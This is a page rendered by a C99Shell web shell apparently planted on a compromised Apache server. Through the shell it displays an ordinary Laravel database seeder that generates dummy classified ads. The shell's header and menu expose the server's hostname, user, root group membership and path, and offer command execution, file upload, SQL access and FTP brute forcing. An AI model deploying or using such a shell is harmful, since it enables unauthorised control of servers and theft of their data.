!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Ad/Database/Seeders/   drwxr-xr-x
Free 28.27 GB of 117.98 GB (23.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AdDatabaseSeeder.php (7.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Ad\Database\Seeders;

use 
App\Models\User;
use 
Illuminate\Database\Seeder;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Str;
use 
Modules\Ad\Entities\Ad;
use 
Modules\Ad\Entities\AdFeature;
use 
Modules\Ad\Entities\AdGallery;
use 
Modules\Brand\Entities\Brand;
use 
Modules\Category\Entities\Category;

class 
AdDatabaseSeeder extends Seeder
{
    
/**
     * Run the database seeds.
     *
     * @return void
     */
    
public function run()
    {
        
$product_list json_decode(file_get_contents(base_path('public/dummy/products.json')), true);
        
$countries json_decode(file_get_contents(resource_path('backend/dummy-data/country.json')), true);

        foreach (
$countries as $countryKey => $country) {
            
$randomKeys array_rand($product_list5);
            
$randomProducts = [];

            foreach (
$randomKeys as $key) {
                
$randomProducts[] = $product_list[$key];
            }
            for (
$i 0$i count($randomProducts); $i++) {
                
$paragraph1 fake()->paragraphs(3true);
                
$paragraph2 fake()->paragraphs(4true);
                
$paragraph3 fake()->paragraphs(5true);
                
$description $paragraph1.'<br><br>'.$paragraph2.'<br><br>'.$paragraph3;

                
$product_data = [
                    
'title' => $randomProducts[$i]['title'].$countryKey,
                    
'slug' => Str::slug($randomProducts[$i]['title']).$countryKey,
                    
'thumbnail' => $randomProducts[$i]['image'],
                    
'user_id' => User::inRandomOrder()->value('id'),
                    
'category_id' => $randomProducts[$i]['category'],
                    
'subcategory_id' => $randomProducts[$i]['subcategory'] ?? null,
                    
'brand_id' => Brand::inRandomOrder()->value('id'),
                    
'price' => rand(2006000),
                    
'phone' => fake()->phoneNumber,
                    
'status' => Arr::random(['active''sold''pending''declined''active''active''active''active''active']),
                    
'featured' => Arr::random([falsetruefalsefalsefalse]),
                    
'total_reports' => rand(130),
                    
'total_views' => rand(1300),
                    
'is_blocked' => rand(truefalse),
                    
'country' => $country['name'],
                    
'lat' => fake()->latitude(-9090),
                    
'long' => fake()->longitude(-9090),
                    
'whatsapp' => Arr::random(['''https://web.whatsapp.com']),
                    
'description' => $description,

                    
'featured' => Arr::random([falsetruefalsetruefalsetrue]),
                    
'featured_at' => Arr::random([nullfake()->dateTime]),
                    
'featured_till' => Arr::random([nullnow()->addDays(30), nullnow()->addDays(15), nullnow()->addDays(7), nullnow()->addDays(3), nullnow()->addDays(1)]),

                    
'urgent' => Arr::random([falsetruefalsefalsefalsetrue]),
                    
'urgent_at' => Arr::random([nullfake()->dateTime]),
                    
'urgent_till' => Arr::random([nullnow()->addDays(30), nullnow()->addDays(15), nullnow()->addDays(7), nullnow()->addDays(3), nullnow()->addDays(1)]),

                    
'highlight' => Arr::random([falsetruefalsetruefalsetrue]),
                    
'highlight_at' => Arr::random([nullfake()->dateTime]),
                    
'highlight_till' => Arr::random([nullnow()->addDays(30), nullnow()->addDays(15), nullnow()->addDays(7), nullnow()->addDays(3), nullnow()->addDays(1)]),

                    
'top' => Arr::random([falsetruefalsefalsefalsetrue]),
                    
'top_at' => Arr::random([nullfake()->dateTime]),
                    
'top_till' => Arr::random([nullnow()->addDays(30), nullnow()->addDays(15), nullnow()->addDays(7), nullnow()->addDays(3), nullnow()->addDays(1)]),

                    
'bump_up' => Arr::random([falsetruefalsetruefalsetrue]),
                    
'bump_up_at' => Arr::random([nullfake()->dateTime]),
                    
'bump_up_till' => Arr::random([nullnow()->addDays(30), nullnow()->addDays(15), nullnow()->addDays(7), nullnow()->addDays(3), nullnow()->addDays(1)]),

                    
'created_at' => fake()->dateTimeBetween('-1 year''now'),
                ];
                
$product Ad::create($product_data);

                
// Associate features with the product
                
$this->associateFeatures($product$randomProducts[$i]['category']);

                
// Associate gallery images with the product
                
$this->associateGalleryImages($product$randomProducts[$i]['gallery']);
            }
        }
    }

    private function 
associateFeatures(Ad $product$categoryId)
    {
        
$featureNames = [
            
'electronics' => [
                
'High Resolution Display',
                
'Advanced Camera Technology',
                
'Long Battery Life',
                
'Wireless Connectivity',
                
'Sleek Design',
                
'Fast Performance',
            ],
            
'mobile-phone' => [
                
'Fast Processor',
                
'High-Quality Camera',
                
'Large Screen',
                
'Long Battery Life',
                
'5G Connectivity',
                
'Slim Design',
            ],
            
'vehicles' => [
                
'Fuel Efficiency',
                
'Advanced Safety Features',
                
'Spacious Interior',
                
'Powerful Engine',
                
'Off-Road Capability',
                
'Luxurious Features',
            ],
            
'sports-&-kids' => [
                
'Durable Materials',
                
'Interactive Features',
                
'Safety Standards',
                
'Fun Design',
            ],
            
'home-&-living' => [
                
'Modern Design',
                
'Comfortable Seating',
                
'Durable Construction',
                
'Eco-Friendly Materials',
            ],
            
'business-&-industry' => [
                
'Prime Location',
                
'Spacious Layout',
                
'Modern Amenities',
                
'Scenic Views',
            ],
            
'property' => [
                
'Exclusive Locations',
                
'Contemporary Design',
                
'Luxurious Amenities',
                
'Panoramic Views',
            ],
            
'women-fashion-&-beauty' => [
                
'Stylish Designs',
                
'Quality Fabrics',
                
'Variety of Colors',
                
'Comfortable Fit',
            ],
            
'mens-fashion-&-grooming' => [
                
'Sophisticated Styles',
                
'Quality Materials',
                
'Versatile Options',
                
'Comfortable Fit',
            ],
            
'essentials' => [
                
'Basic Necessities',
                
'Affordable Prices',
                
'Durable Quality',
                
'Functional Design',
            ],
            
'education' => [
                
'Quality Education',
                
'Experienced Instructors',
                
'Modern Facilities',
                
'Engaging Curriculum',
            ],
        ];

        
// Assuming $categoryId is the actual category ID from product data
        
$category Category::find($categoryId);

        
$featureNamesForCategory $featureNames[$category->slug] ?? [];

        foreach (
$featureNamesForCategory as $featureName) {
            
AdFeature::create([
                
'ad_id' => $product->id,
                
'name' => $featureName,
            ]);
        }
    }

    private function 
associateGalleryImages(Ad $product$galleryImages)
    {
        foreach (
$galleryImages as $galleryImage) {
            
AdGallery::create([
                
'ad_id' => $product->id,
                
'image' => $galleryImage,
            ]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--